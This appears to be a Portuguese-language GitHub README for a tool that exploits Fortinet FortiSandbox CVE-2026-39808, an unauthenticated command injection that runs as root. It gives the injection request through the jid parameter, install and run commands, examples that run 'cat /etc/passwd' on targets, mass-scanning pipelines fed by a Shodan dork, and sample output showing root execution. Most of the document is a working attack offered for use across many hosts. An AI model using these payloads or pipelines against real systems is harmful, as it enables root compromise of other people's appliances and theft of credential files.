
Scanner de RCE não autenticado para FortiSandbox CVE-2026-39808 com verificação baseada em canário, execução de comandos e integração com pipeline para varredura em massa.
Injeção de Comandos do Sistema Operacional sem Autenticação como root no Fortinet FortiSandbox
Vulnerabilidade • Instalação • Uso • Como Funciona • Pipeline • Dorks Shodan • Aviso Legal
CVE-2026-39808 é uma vulnerabilidade crítica de injeção de comandos do sistema operacional sem autenticação no Fortinet FortiSandbox. O endpoint da API /fortisandbox/job-detail/tracer-behavior não sanitiza o parâmetro jid, permitindo que um atacante injete comandos arbitrários do sistema operacional que são executados como root — sem qualquer autenticação.
| Detalhe | Valor |
|---|---|
| ID CVE | CVE-2026-39808 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma |
| Privilégios | Root |
| Versões Afetadas | FortiSandbox < 4.4.9 |
| Corrigido Em | 4.4.9 e superiores |
| Aviso | FG-IR-25-325 |
O parâmetro jid no endpoint tracer-behavior é passado diretamente para um comando do sistema sem sanitização. Usando caracteres de pipe (|), um atacante pode sair do contexto de comando pretendido e executar comandos arbitrários:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
A saída é gravada em /web/ng/out.txt, que é acessível em /ng/out.txt no servidor web — fornecendo um mecanismo conveniente de leitura para injeção de comando cega.
Zero dependências. Apenas biblioteca padrão Python 3.7+.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Verificar se um alvo é vulnerável (usa detecção baseada em canário)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Executar um comando específico no alvo
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Apenas verificar se é vulnerável, não executar --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# A partir de uma lista de URLs
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL URL do alvo
--stdin Ler URLs do stdin (modo pipeline)
--cmd CMD Comando do sistema operacional a executar (padrão: id)
--verify-only Apenas verificar a vulnerabilidade, não executar --cmd
--proxy PROXY Proxy HTTP (ex.: http://127.0.0.1:8080)
--timeout TIMEOUT Tempo limite HTTP em segundos (padrão: 15)
--rate-limit RATE_LIMIT Atraso entre alvos em ms (padrão: 0)
-o, --output FILE Arquivo de relatório JSON de saída
--no-banner Suprimir banner
O scanner usa um processo de verificação em 5 etapas com prevenção rigorosa de falsos positivos:
Etapa 1 → Detectar FortiSandbox (impressão digital de título/cabeçalho)
Etapa 2 → Verificar se o endpoint vulnerável existe
Etapa 3 → Injetar string canário única via injeção de comando
Etapa 4 → Ler /ng/out.txt e verificar o canário (validação estrita de texto simples)
Etapa 5 → Executar comando do usuário + limpeza
O scanner implementa múltiplas camadas de validação para eliminar falsos positivos:
text/htmlid — Correspondência estrita de padrão uid=\d+(\w+) com verificação de tamanho (<1000 bytes)/ng para evitar problemas de caminho duplo ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Injeção de Comando sem Autenticação (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Alvo: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detectado!
▸ Verificando endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Status do endpoint: 200 | Content-Type: text/html
▸ Injetando canário: mitsec_a8k3m2x1
▸ Lendo saída: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERÁVEL — CVE-2026-39808 CONFIRMADO!
CRITICAL Alvo: https://fortisandbox.example.com
✓ Canário 'mitsec_a8k3m2x1' verificado na saída (texto simples limpo)
──────────────────────────────────────────────────────────
Saída do Comando: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Arquivo de saída limpo
┌──────────────────────────────────────────────────────────┐
│ Alvo: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detectado!
▸ Verificando endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint retornou 404 — não vulnerável ou corrigido